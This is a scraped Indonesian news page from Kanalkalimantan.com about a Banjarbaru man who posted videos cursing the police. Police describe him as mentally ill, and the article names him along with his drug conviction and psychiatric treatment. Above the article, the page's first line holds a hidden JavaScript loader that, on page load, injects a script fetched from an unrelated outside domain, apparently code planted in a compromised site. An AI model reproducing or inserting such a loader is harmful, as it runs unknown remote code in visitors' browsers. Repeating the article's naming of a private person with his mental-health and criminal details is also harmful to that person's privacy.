(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Baru-baru ini jagat media sosial dihebohkan seorang pria yang membuat video memaki-maki jajaran personel Polres Banjarbaru, Sabtu (11/3/2023).
Dilansir dari 4 video yang didapatkan Kanalkalimantan.com, video berdurasi kurang dari 1 menit itu menampilkan seorang pria dengan akun @muhammad.**1, memaki dengan kata tidak pantas dan juga mencari-cari jajaran Polres Banjarbaru, terutama dari Satuan Reserse Narkoba (Satresnarkoba).
Pria tersebut mengaku Satresnarkoba Polres Banjarbaru melakukan penangkapan tidak sesuai SOP pada dirinya. Dalam videonya, dia juga mengaku keselamatannya terancam oleh oknum yang ingin membunuhnya di jalan raya.
Kanalkalimantan.com mencoba mencari akun @muhammad.**1, namun video tersebut sudah tidak ada lagi atau sudah dihapus dari media sosial.
Baca juga: Yayasan RDB Buktikan Anak Disabilitas Mampu Berkarya
Saat dikonfirmasi, Kasi Humas Polres Banjarbaru, Kompol Tajudin Noor mengatakan bahwa pria pemilik @muhammad.**1 yang memiliki nama lengkap Muhammad Abdi asal Banjarmasin merupakan orang dengan gangguan jiwa (ODGJ).
“Hal ini sudah ditindak lanjuti oleh unit Narkoba, infonya yang bersangkutan orang dengan gangguan jiwa,” ujarnya.
Keterangan pria pemilik akun @muhammad.**1 ODGJ didukung oleh video klarifikasi yang dikirimkan Kompol Tajudin kepada Kanalkalimantan.com yang memperlihatkan kartu berobat dan surat rujukan berkop resmi Rumah Sakit Jiwa Sambang Lihum.
Dijelaskan Kompol Tajudin, pada tahun 2016 lalu, pria pemilik akun @muhammad.**1 pernah dilakukan penahanan oleh jajaran Satresnarkoba Polres Banjarbaru, lantaran kepemilikan narkotika jenis sabu 0,33 gram. Dengan menjalani hukuman dengan vonis selama 5 tahun 6 bulan.
Bagai jatuh ditimpa tangga, pemilik akun @muhammad.**1 pada tahun 2020 diceraikan sang isteri di sisa-sisa menjalani hukumannya.
“Saat dalam tahanan dia diceraikan oleh isterinya,” sebutnya.
Baca juga: Melindungi Identitas Motif Kain Sasirangan Pendaftaran HaKI Dilakukan
Akibat diceraikan sang isteri, pada tahun 2021 lalu, psikologi dirinya terganggu dan harus menjalani rawat jalan di Poliklinik RSJ Sambang Lihum.
Sekarang Muhammad Abdi kata Kompol Tajudin, dari keterangan rumah sakit maupun keluarganya masih dalam gangguan jiwa.
“Dari keterangan keluarga, ia sering mengamuk dan merusak di sekitar lingkungannya tinggal,” tutup Kompol Tajudin.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
This website uses cookies.